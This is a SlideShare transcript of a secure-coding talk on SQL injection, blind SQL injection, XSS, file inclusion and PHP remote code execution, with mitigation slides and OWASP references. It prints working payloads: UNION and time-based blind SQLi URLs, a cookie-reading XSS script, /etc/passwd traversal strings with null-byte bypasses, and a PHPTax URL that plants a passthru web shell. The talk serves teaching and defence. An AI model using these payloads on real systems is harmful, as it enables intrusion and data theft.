SlideShare une entreprise Scribd logo
1  sur  38
Hack and Slash : Secure Coding
Krit Kadnok
Prathan Phongthiproek
The Most Common Vulnerabilities
 SQL Injection
 Cross Site Scripting (XSS)
 File Inclusion
 Remote Code Execution
SQL Injection
 SQL Injection
 Blind SQL Injection
SQL Injection (Cont.)
If user enters ‘ UNION SELECT ALL user(), database() #
Blind SQL Injection
 Normal Blind - Where you get TRUE/FALSE responses
based on output of SQL query. This is visible change
in page.
 Totally Blind - No change in output for TRUE/FALSE
condition.
Normal Blind
Vulnerable URL:
http://site/vulnerabilities/sqli_blind/?id=1
TRUE Response:
http://site/vulnerabilities/sqli_blind/?id=1 AND 1=1
FALSE Response:
http://site/vulnerabilities/sqli_blind/?id=1 AND 1=2
Check Version:
FALSE Response
http://site/vulnerabilities/sqli_blind/?id=1 AND substring(version(),1,1)=4
TRUE Response
http://site/vulnerabilities/sqli_blind/?id=1 AND substring(version(),1,1)=5
Totally Blind
As this type didn't have any TRUE/FALSE responses, we need to use
time-based injection. Use IF() for condition and BENCHMARK() for
time delay.
Check Version:
FALSE Response
http://site/vulnerabilities/sqli_blind/?id=1 UNION SELECT
IF(SUBSTRING(version(),1,1)=4,BENCHMARK(5000000,MD 5(CHAR(1))),null),null
TRUE Response
http://site/vulnerabilities/sqli_blind/?id=1 UNION SELECT
IF(SUBSTRING(version(),1,1)=5,BENCHMARK(5000000,MD 5(CHAR(1))),null),null
Table name guessing:
http://site/vulnerabilities/sqli_blind/?id=1 UNION SELECT IF(SUBSTRING((select 1 from
users limit 0,1),1,1)=1,BENCHMARK(5000000,MD5(CHAR(1))),null), null
Blind SQL Injection
Case Study
PHD Helpdesk 2.12 SQLi Vulnerability (login.php)
Case Study
PHD Helpdesk 2.12 SQLi Vulnerability
Submit POST data to login.php
 Result
Mitigation/Prevention
 Use of Prepared Statements (Parameterized Queries)
 Use of Stored Procedures
 Escaping all User Supplied Input
 Least Privilege
 White List Input Validation
 https://www.owasp.org/index.php/SQL_Injection_Prev
ention_Cheat_Sheet
Cross Site Scripting (XSS)
 XSS Reflected
 XSS Stored
XSS Reflected
 <script>alert(document.cookie)</script>
XSS Stored
 <script>alert(document.cookie)</script>
Mitigation/Prevention
 Escape Before Inserting Untrusted Data into HTML
Context
 Positive or “whitelist” input validation is also
recommended
 Use HTTPOnly cookie flag
 https://www.owasp.org/index.php/XSS_(Cross_Site_S
cripting)_Prevention_Cheat_Sheet
File Inclusion
 Include PHP Shell (RFI)
 Directory Traversal (LFI)
 Read Code via PHP Stream Filters (PHP://filter)
 Remote Code Execution (LFI to RCE)
 Etc
File Inclusion (RFI)
RFI not Work !!
Allow_url_include is disable
File Inclusion (LFI)
LFI Work !!
File Inclusion (PHP Stream)
It’s Work !!
Allow_url_include is disable
File Inclusion (PHP Stream)
<?php
class Configuration{
public $host = "localhost";
public $db = "cuppa";
public $user = "root";
public $password = “mYDb@dm1n;
public $table_prefix = "cu_";
public $administrator_template = "default";
public $list_limit = 25;
public $token = "OBqIPqlFWf3X";
public $allowed_extensions = "*.bmp; *.csv; *.doc;
*.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf;
*.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
public $upload_default_path = "media/uploadsFiles";
public $maximum_file_size = "5242880";
public $secure_login = 0;
public $secure_login_value = "";
public $secure_login_redirect = "";}
?>
File Inclusion (LFI to RCE)
File Inclusion (Bypass)
 Bad Code
 Bypass it !!
 Null Byte ?page=../../../../../../../../../../../etc/passwd%00
 Path Truncation ?page=../../../../../../../../../../../etc/passwd.............
 Dot Truncation ?page =../../../../../../../../../../../etc/passwd…………….....
Case Study
 DevalCMS 1.4a (currentfile) LFI Vulnerability
Case Study
 DevalCMS 1.4a (currentfile) LFI Vulnerability
Mitigation/Prevention
 Whitelist
Remote Code Execution
 Dangerous Function
 exec
 system
 passthru
 shell_exec
 proc_open
 pcntl_exec
 popen
 eval
 assert
 escapeshellcmd
 preg_replace
 call_user_func
 call_user_func_array
 Etc
Remote Code Execution
Remote Code Execution
Remote Code Execution (Bypass)
 PHPTax Remote Code Execution
http://localhost/phptax/index.php?newvalue=%3C?php%20
passthru%28$_GET[cmd]%29;?%3E&field=rce.php
Remote Code Execution
Remote Code Execution
 PHP-Charts 1.0 (type) RCE Vulnerability
Remote Code Execution
 PHP-Charts 1.0 (type) RCE Vulnerability
Mitigation/Prevention
 Ensure that user input is properly validated
 Limit the use of dynamic inputs from users to
vulnerable functions
 Build a whitelist for positive file names and code with
regular expressions (e.g. Alphanumeric only) or
arrays.
 Do not try to blacklist for evil PHP code
Bug Hunting !!
 Code Review
 Scan for potential vulnerable functions
 Traces back its parameter
 Free Tool !! >> http://sourceforge.net/projects/rips-
scanner/
RIPS
Visit => http://www.owasp.org
References
 http://www.websec.ca/kb/sql_injection
 https://www.owasp.org/index.php/SQL_Injection
 https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
 https://www.owasp.org/index.php/PHP_File_Inclusion
 https://www.owasp.org/index.php/Top_10_2007-
Malicious_File_Execution
 http://www.exploit-db.com
 http://sourceforge.net/projects/rips-scanner
If someone is still in the room..
THANK YOU

Contenu connexe

Tendances

Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practicesScott Hurrey
 
Digital certificates
Digital certificates Digital certificates
Digital certificates Sheetal Verma
 
Social Engineering Attacks & Principles
Social Engineering Attacks & PrinciplesSocial Engineering Attacks & Principles
Social Engineering Attacks & PrinciplesLearningwithRayYT
 
Identity Theft Presentation
Identity Theft PresentationIdentity Theft Presentation
Identity Theft Presentationcharlesgarrett
 
Penetration testing reporting and methodology
Penetration testing reporting and methodologyPenetration testing reporting and methodology
Penetration testing reporting and methodologyRashad Aliyev
 
Cyber security awareness presentation
Cyber security awareness  presentationCyber security awareness  presentation
Cyber security awareness presentationAshokkumar Gnanasekar
 
Hacking & its types
Hacking & its typesHacking & its types
Hacking & its typesSai Sakoji
 
Career in Ethical Hacking
Career in Ethical Hacking Career in Ethical Hacking
Career in Ethical Hacking neosphere
 
Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)Ben Hayak
 
Keyloggers and Spywares
Keyloggers and SpywaresKeyloggers and Spywares
Keyloggers and SpywaresAnkit Mistry
 
NETWORK SECURITY
NETWORK SECURITYNETWORK SECURITY
NETWORK SECURITYafaque jaya
 
Password Cracking
Password CrackingPassword Cracking
Password CrackingSagar Verma
 

Tendances (20)

Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practices
 
Network security
Network securityNetwork security
Network security
 
Email security &amp; threads
Email security &amp; threadsEmail security &amp; threads
Email security &amp; threads
 
Melissa Virus
Melissa VirusMelissa Virus
Melissa Virus
 
Types of attacks
Types of attacksTypes of attacks
Types of attacks
 
Digital certificates
Digital certificates Digital certificates
Digital certificates
 
Social Engineering Attacks & Principles
Social Engineering Attacks & PrinciplesSocial Engineering Attacks & Principles
Social Engineering Attacks & Principles
 
Identity Theft Presentation
Identity Theft PresentationIdentity Theft Presentation
Identity Theft Presentation
 
Penetration testing reporting and methodology
Penetration testing reporting and methodologyPenetration testing reporting and methodology
Penetration testing reporting and methodology
 
Cyber security awareness presentation
Cyber security awareness  presentationCyber security awareness  presentation
Cyber security awareness presentation
 
Network Security
Network SecurityNetwork Security
Network Security
 
Hacking & its types
Hacking & its typesHacking & its types
Hacking & its types
 
Cyber Space
Cyber SpaceCyber Space
Cyber Space
 
Cyber security
Cyber securityCyber security
Cyber security
 
Career in Ethical Hacking
Career in Ethical Hacking Career in Ethical Hacking
Career in Ethical Hacking
 
Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)Same Origin Method Execution (BlackHat EU2014)
Same Origin Method Execution (BlackHat EU2014)
 
Keyloggers and Spywares
Keyloggers and SpywaresKeyloggers and Spywares
Keyloggers and Spywares
 
Network attacks
Network attacksNetwork attacks
Network attacks
 
NETWORK SECURITY
NETWORK SECURITYNETWORK SECURITY
NETWORK SECURITY
 
Password Cracking
Password CrackingPassword Cracking
Password Cracking
 

En vedette

En vedette (20)

LFI to RCE
LFI to RCELFI to RCE
LFI to RCE
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
 
Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101
 
Web Application Security with PHP
Web Application Security with PHPWeb Application Security with PHP
Web Application Security with PHP
 
How to Prevent RFI and LFI Attacks
How to Prevent RFI and LFI AttacksHow to Prevent RFI and LFI Attacks
How to Prevent RFI and LFI Attacks
 
Local File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code ExecutionLocal File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code Execution
 
PHP Security
PHP SecurityPHP Security
PHP Security
 
PHP Web Programming
PHP Web ProgrammingPHP Web Programming
PHP Web Programming
 
Media Evalutaion 4
Media Evalutaion 4Media Evalutaion 4
Media Evalutaion 4
 
N Ivanov Final
N Ivanov FinalN Ivanov Final
N Ivanov Final
 
עוטף עזה
עוטף עזהעוטף עזה
עוטף עזה
 
Rika Purnama Dewi Pendidikan Ekonomi 2 A
Rika Purnama Dewi Pendidikan Ekonomi 2 ARika Purnama Dewi Pendidikan Ekonomi 2 A
Rika Purnama Dewi Pendidikan Ekonomi 2 A
 
Kehtna koolitus
Kehtna koolitusKehtna koolitus
Kehtna koolitus
 
Zara
ZaraZara
Zara
 
Water Disaster
Water DisasterWater Disaster
Water Disaster
 
Spice
SpiceSpice
Spice
 
Kennady
KennadyKennady
Kennady
 
Advertise with us (russian)
Advertise with us (russian)Advertise with us (russian)
Advertise with us (russian)
 
Kohlbecker Low Latency Combined Eye And Head Tracking System For Teleoperatin...
Kohlbecker Low Latency Combined Eye And Head Tracking System For Teleoperatin...Kohlbecker Low Latency Combined Eye And Head Tracking System For Teleoperatin...
Kohlbecker Low Latency Combined Eye And Head Tracking System For Teleoperatin...
 
Madness
MadnessMadness
Madness
 

Similaire à Hack and Slash: Secure Coding

Drupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal DevelopmentDrupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal DevelopmentSteven Van den Hout
 
Spot the Web Vulnerability
Spot the Web VulnerabilitySpot the Web Vulnerability
Spot the Web VulnerabilityMiroslav Stampar
 
Intro to Php Security
Intro to Php SecurityIntro to Php Security
Intro to Php SecurityDave Ross
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)SqliChema Alonso
 
Jeff Channell - Secure PHP Coding Practices
Jeff Channell - Secure PHP Coding PracticesJeff Channell - Secure PHP Coding Practices
Jeff Channell - Secure PHP Coding Practicesvdrover
 
Laravel for Web Artisans
Laravel for Web ArtisansLaravel for Web Artisans
Laravel for Web ArtisansRaf Kewl
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9sumsid1234
 
Debugging: Rules & Tools
Debugging: Rules & ToolsDebugging: Rules & Tools
Debugging: Rules & ToolsIan Barber
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Securityjemond
 
REST with Eve and Python
REST with Eve and PythonREST with Eve and Python
REST with Eve and PythonPiXeL16
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedPrathan Phongthiproek
 
Exploring Symfony's Code
Exploring Symfony's CodeExploring Symfony's Code
Exploring Symfony's CodeWildan Maulana
 
Mojo – Simple REST Server
Mojo – Simple REST ServerMojo – Simple REST Server
Mojo – Simple REST Serverhendrikvb
 
fb-researchの舞台裏No.2~技術編~(HatchUp主催 渋谷Facebookアプリ勉強会)
fb-researchの舞台裏No.2~技術編~(HatchUp主催 渋谷Facebookアプリ勉強会)fb-researchの舞台裏No.2~技術編~(HatchUp主催 渋谷Facebookアプリ勉強会)
fb-researchの舞台裏No.2~技術編~(HatchUp主催 渋谷Facebookアプリ勉強会)modeelf
 
Create a res tful services api in php.
Create a res tful services api in php.Create a res tful services api in php.
Create a res tful services api in php.Adeoye Akintola
 
OWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP ProgrammersOWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP Programmersrjsmelo
 
PHP Backdoor: The rise of the vuln
PHP Backdoor: The rise of the vulnPHP Backdoor: The rise of the vuln
PHP Backdoor: The rise of the vulnSandro Zaccarini
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by defaultSlawomir Jasek
 

Similaire à Hack and Slash: Secure Coding (20)

Drupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal DevelopmentDrupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal Development
 
Spot the Web Vulnerability
Spot the Web VulnerabilitySpot the Web Vulnerability
Spot the Web Vulnerability
 
Intro to Php Security
Intro to Php SecurityIntro to Php Security
Intro to Php Security
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)Sqli
 
Jeff Channell - Secure PHP Coding Practices
Jeff Channell - Secure PHP Coding PracticesJeff Channell - Secure PHP Coding Practices
Jeff Channell - Secure PHP Coding Practices
 
Php talk
Php talkPhp talk
Php talk
 
Laravel for Web Artisans
Laravel for Web ArtisansLaravel for Web Artisans
Laravel for Web Artisans
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9
 
Debugging: Rules & Tools
Debugging: Rules & ToolsDebugging: Rules & Tools
Debugging: Rules & Tools
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
Codegnitorppt
CodegnitorpptCodegnitorppt
Codegnitorppt
 
REST with Eve and Python
REST with Eve and PythonREST with Eve and Python
REST with Eve and Python
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or Succeed
 
Exploring Symfony's Code
Exploring Symfony's CodeExploring Symfony's Code
Exploring Symfony's Code
 
Mojo – Simple REST Server
Mojo – Simple REST ServerMojo – Simple REST Server
Mojo – Simple REST Server
 
fb-researchの舞台裏No.2~技術編~(HatchUp主催 渋谷Facebookアプリ勉強会)
fb-researchの舞台裏No.2~技術編~(HatchUp主催 渋谷Facebookアプリ勉強会)fb-researchの舞台裏No.2~技術編~(HatchUp主催 渋谷Facebookアプリ勉強会)
fb-researchの舞台裏No.2~技術編~(HatchUp主催 渋谷Facebookアプリ勉強会)
 
Create a res tful services api in php.
Create a res tful services api in php.Create a res tful services api in php.
Create a res tful services api in php.
 
OWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP ProgrammersOWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP Programmers
 
PHP Backdoor: The rise of the vuln
PHP Backdoor: The rise of the vulnPHP Backdoor: The rise of the vuln
PHP Backdoor: The rise of the vuln
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 

Plus de Prathan Phongthiproek

The CARzyPire - Another Red Team Operation
The CARzyPire - Another Red Team OperationThe CARzyPire - Another Red Team Operation
The CARzyPire - Another Red Team OperationPrathan Phongthiproek
 
Cyber Kill Chain: Web Application Exploitation
Cyber Kill Chain: Web Application ExploitationCyber Kill Chain: Web Application Exploitation
Cyber Kill Chain: Web Application ExploitationPrathan Phongthiproek
 
OWASP Day - OWASP Day - Lets secure!
OWASP Day - OWASP Day - Lets secure! OWASP Day - OWASP Day - Lets secure!
OWASP Day - OWASP Day - Lets secure! Prathan Phongthiproek
 
Don't Trust, And Verify - Mobile Application Attacks
Don't Trust, And Verify - Mobile Application AttacksDon't Trust, And Verify - Mobile Application Attacks
Don't Trust, And Verify - Mobile Application AttacksPrathan Phongthiproek
 
Point-Of-Sale Hacking - 2600Thailand#20
Point-Of-Sale Hacking - 2600Thailand#20Point-Of-Sale Hacking - 2600Thailand#20
Point-Of-Sale Hacking - 2600Thailand#20Prathan Phongthiproek
 
OWASP Thailand-Beyond the Penetration Testing
OWASP Thailand-Beyond the Penetration TestingOWASP Thailand-Beyond the Penetration Testing
OWASP Thailand-Beyond the Penetration TestingPrathan Phongthiproek
 
Mobile Application Pentest [Fast-Track]
Mobile Application Pentest [Fast-Track]Mobile Application Pentest [Fast-Track]
Mobile Application Pentest [Fast-Track]Prathan Phongthiproek
 
CDIC 2013-Mobile Application Pentest Workshop
CDIC 2013-Mobile Application Pentest WorkshopCDIC 2013-Mobile Application Pentest Workshop
CDIC 2013-Mobile Application Pentest WorkshopPrathan Phongthiproek
 
Layer8 exploitation: Lock'n Load Target
Layer8 exploitation: Lock'n Load TargetLayer8 exploitation: Lock'n Load Target
Layer8 exploitation: Lock'n Load TargetPrathan Phongthiproek
 
Tisa-Social Network and Mobile Security
Tisa-Social Network and Mobile SecurityTisa-Social Network and Mobile Security
Tisa-Social Network and Mobile SecurityPrathan Phongthiproek
 

Plus de Prathan Phongthiproek (20)

Mobile Defense-in-Dev (Depth)
Mobile Defense-in-Dev (Depth)Mobile Defense-in-Dev (Depth)
Mobile Defense-in-Dev (Depth)
 
The CARzyPire - Another Red Team Operation
The CARzyPire - Another Red Team OperationThe CARzyPire - Another Red Team Operation
The CARzyPire - Another Red Team Operation
 
Cyber Kill Chain: Web Application Exploitation
Cyber Kill Chain: Web Application ExploitationCyber Kill Chain: Web Application Exploitation
Cyber Kill Chain: Web Application Exploitation
 
Mobile App Hacking In A Nutshell
Mobile App Hacking In A NutshellMobile App Hacking In A Nutshell
Mobile App Hacking In A Nutshell
 
Jump-Start The MASVS
Jump-Start The MASVSJump-Start The MASVS
Jump-Start The MASVS
 
OWASP Mobile Top 10 Deep-Dive
OWASP Mobile Top 10 Deep-DiveOWASP Mobile Top 10 Deep-Dive
OWASP Mobile Top 10 Deep-Dive
 
The Hookshot: Runtime Exploitation
The Hookshot: Runtime ExploitationThe Hookshot: Runtime Exploitation
The Hookshot: Runtime Exploitation
 
Understanding ransomware
Understanding ransomwareUnderstanding ransomware
Understanding ransomware
 
OWASP Day - OWASP Day - Lets secure!
OWASP Day - OWASP Day - Lets secure! OWASP Day - OWASP Day - Lets secure!
OWASP Day - OWASP Day - Lets secure!
 
Don't Trust, And Verify - Mobile Application Attacks
Don't Trust, And Verify - Mobile Application AttacksDon't Trust, And Verify - Mobile Application Attacks
Don't Trust, And Verify - Mobile Application Attacks
 
Owasp Top 10 Mobile Risks
Owasp Top 10 Mobile RisksOwasp Top 10 Mobile Risks
Owasp Top 10 Mobile Risks
 
Point-Of-Sale Hacking - 2600Thailand#20
Point-Of-Sale Hacking - 2600Thailand#20Point-Of-Sale Hacking - 2600Thailand#20
Point-Of-Sale Hacking - 2600Thailand#20
 
OWASP Thailand-Beyond the Penetration Testing
OWASP Thailand-Beyond the Penetration TestingOWASP Thailand-Beyond the Penetration Testing
OWASP Thailand-Beyond the Penetration Testing
 
Mobile Application Pentest [Fast-Track]
Mobile Application Pentest [Fast-Track]Mobile Application Pentest [Fast-Track]
Mobile Application Pentest [Fast-Track]
 
CDIC 2013-Mobile Application Pentest Workshop
CDIC 2013-Mobile Application Pentest WorkshopCDIC 2013-Mobile Application Pentest Workshop
CDIC 2013-Mobile Application Pentest Workshop
 
Layer8 exploitation: Lock'n Load Target
Layer8 exploitation: Lock'n Load TargetLayer8 exploitation: Lock'n Load Target
Layer8 exploitation: Lock'n Load Target
 
Advanced Malware Analysis
Advanced Malware AnalysisAdvanced Malware Analysis
Advanced Malware Analysis
 
Tisa mobile forensic
Tisa mobile forensicTisa mobile forensic
Tisa mobile forensic
 
Tisa-Social Network and Mobile Security
Tisa-Social Network and Mobile SecurityTisa-Social Network and Mobile Security
Tisa-Social Network and Mobile Security
 
Tisa social and mobile security
Tisa social and mobile securityTisa social and mobile security
Tisa social and mobile security
 

Dernier

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024The Digital Insurer
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfOverkill Security
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businesspanagenda
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native ApplicationsWSO2
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdflior mazor
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAndrey Devyatkin
 
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot ModelNavi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot ModelDeepika Singh
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesrafiqahmad00786416
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MIND CTI
 

Dernier (20)

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdf
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot ModelNavi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Navi Mumbai Call Girls 🥰 8617370543 Service Offer VIP Hot Model
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 

Hack and Slash: Secure Coding

  • 1. Hack and Slash : Secure Coding Krit Kadnok Prathan Phongthiproek
  • 2. The Most Common Vulnerabilities  SQL Injection  Cross Site Scripting (XSS)  File Inclusion  Remote Code Execution
  • 3. SQL Injection  SQL Injection  Blind SQL Injection
  • 4. SQL Injection (Cont.) If user enters ‘ UNION SELECT ALL user(), database() #
  • 5. Blind SQL Injection  Normal Blind - Where you get TRUE/FALSE responses based on output of SQL query. This is visible change in page.  Totally Blind - No change in output for TRUE/FALSE condition.
  • 6. Normal Blind Vulnerable URL: http://site/vulnerabilities/sqli_blind/?id=1 TRUE Response: http://site/vulnerabilities/sqli_blind/?id=1 AND 1=1 FALSE Response: http://site/vulnerabilities/sqli_blind/?id=1 AND 1=2 Check Version: FALSE Response http://site/vulnerabilities/sqli_blind/?id=1 AND substring(version(),1,1)=4 TRUE Response http://site/vulnerabilities/sqli_blind/?id=1 AND substring(version(),1,1)=5
